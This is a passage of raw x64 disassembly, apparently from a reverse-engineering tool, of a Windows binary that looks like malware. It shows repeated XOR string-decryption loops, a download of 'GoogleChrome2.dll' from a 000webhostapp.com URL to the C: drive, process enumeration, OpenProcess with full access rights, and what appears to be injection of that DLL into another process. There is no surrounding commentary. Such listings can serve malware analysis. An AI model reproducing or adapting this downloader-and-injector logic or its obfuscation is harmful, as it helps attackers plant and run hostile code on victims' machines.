psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x1400092e0
cmp eax, 0x22
jge 0x140009433
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x140009400
mov rcx, r10
call fcn.140001050
jmp 0x14000859d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x30], rax
lea rdx, str.c:__GoogleChrome2.dll
lea rcx, [rbp + 0x1d0]
call fcn.14000eff0
mov rbx, rax
lea rdx, str.https:__quyenga.000webhostapp.com_files_aGoogleChrome2.dll
lea rcx, [rbp + 0x1f0]
call fcn.14000eff0
nop
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x140019a10]
call fcn.140010e50
test al, al
je 0x14000a316
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1cc4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1cc0], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140009828
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x7b], 0
lea rdx, [rbp + 0xb28]
lea rcx, [rbp - 0x7b]
call fcn.14000e9d0
mov r10, rax
cmp byte [rax + 0x26], 0
jne 0x140009683
mov r8d, r14d
cmp r15d, 2
jl 0x140009641
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140009530
cmp r8d, 0x27
jge 0x140009683
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140009650
cmp byte [r10 + 0x26], 0
je 0x140008593
cmp r15d, 2
jl 0x1400097e3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x1400096d0
cmp eax, 0x27
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x1400097f0
jmp 0x140008593
mov esi, r14d
lea rdx, [rbp + 0x1cc0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000989e
lea rbx, [0x1400149b0]
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x1cec]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140009877
inc rax
test ecx, ecx
jne 0x140009860
test edx, edx
je 0x140009898
lea rdx, [rbp + 0x1cc0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140009850
jmp 0x14000989e
mov esi, dword [rbp + 0x1cc8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140009c28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x7a], 0
lea rdx, [rbp + 0x948]
lea rcx, [rbp - 0x7a]
call fcn.14000ea10
mov r10, rax
cmp byte [rax + 0x19], 0
jne 0x140009a83
mov r8d, r14d
cmp r15d, 2
jl 0x140009a41
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140009930
cmp r8d, 0x1a
jge 0x140009a83
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140009a50
cmp byte [r10 + 0x19], 0
je 0x140008593
cmp r15d, 2
jl 0x140009be3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x140009ad0
cmp eax, 0x1a
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x140009bf0
jmp 0x140008593
mov rcx, rbx
call fcn.1400031d0
test al, al
jne 0x140009f88
mov byte [rbp - 0x79], al
lea rdx, [rbp + 0x868]
lea rcx, [rbp - 0x79]
call fcn.14000ea40
mov r10, rax
cmp byte [rax + 0x18], 0
jne 0x140009de3
mov r8d, r14d
cmp r15d, 2
jl 0x140009da3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140009c92
cmp r8d, 0x19
jge 0x140009de3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140009db0
cmp byte [r10 + 0x18], 0
je 0x1400090a3
cmp r15d, 2
jl 0x140009f43
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x140009e30
cmp eax, 0x19
jge 0x1400090a3
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x140009f50
jmp 0x1400090a3
lea rdx, str.GoogleChrome2.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
jne 0x14000a310
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x78], 0
lea rdx, [rbp + 0xa60]
lea rcx, [rbp - 0x78]
call fcn.14000ea70
mov r10, rax
cmp byte [rax + 0x21], 0
jne 0x14000a163
mov r8d, r14d
cmp r15d, 2
jl 0x14000a121
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000a010
cmp r8d, 0x22
jge 0x14000a163
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000a130
cmp byte [r10 + 0x21], 0
je 0x14000a303
cmp r15d, 2
jl 0x14000a2c3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000a1b0
cmp eax, 0x22
jge 0x14000a303
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x14000a2d0
mov rcx, r10
call fcn.140001050
jmp 0x14000859d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140014cd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1df4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1df0], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000a6b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x77], 0
lea rdx, [rbp + 0xba0]
lea rcx, [rbp - 0x77]
call fcn.14000e9d0
mov r10, rax
cmp byte [rax + 0x26], 0
jne 0x14000a513
mov r8d, r14d
cmp r15d, 2
jl 0x14000a4d1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000a3c0
cmp r8d, 0x27
jge 0x14000a513
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14000a4e0
cmp byte [r10 + 0x26], 0
je 0x140008593
cmp r15d, 2
jl 0x14000a673
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000a560
cmp eax, 0x27
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
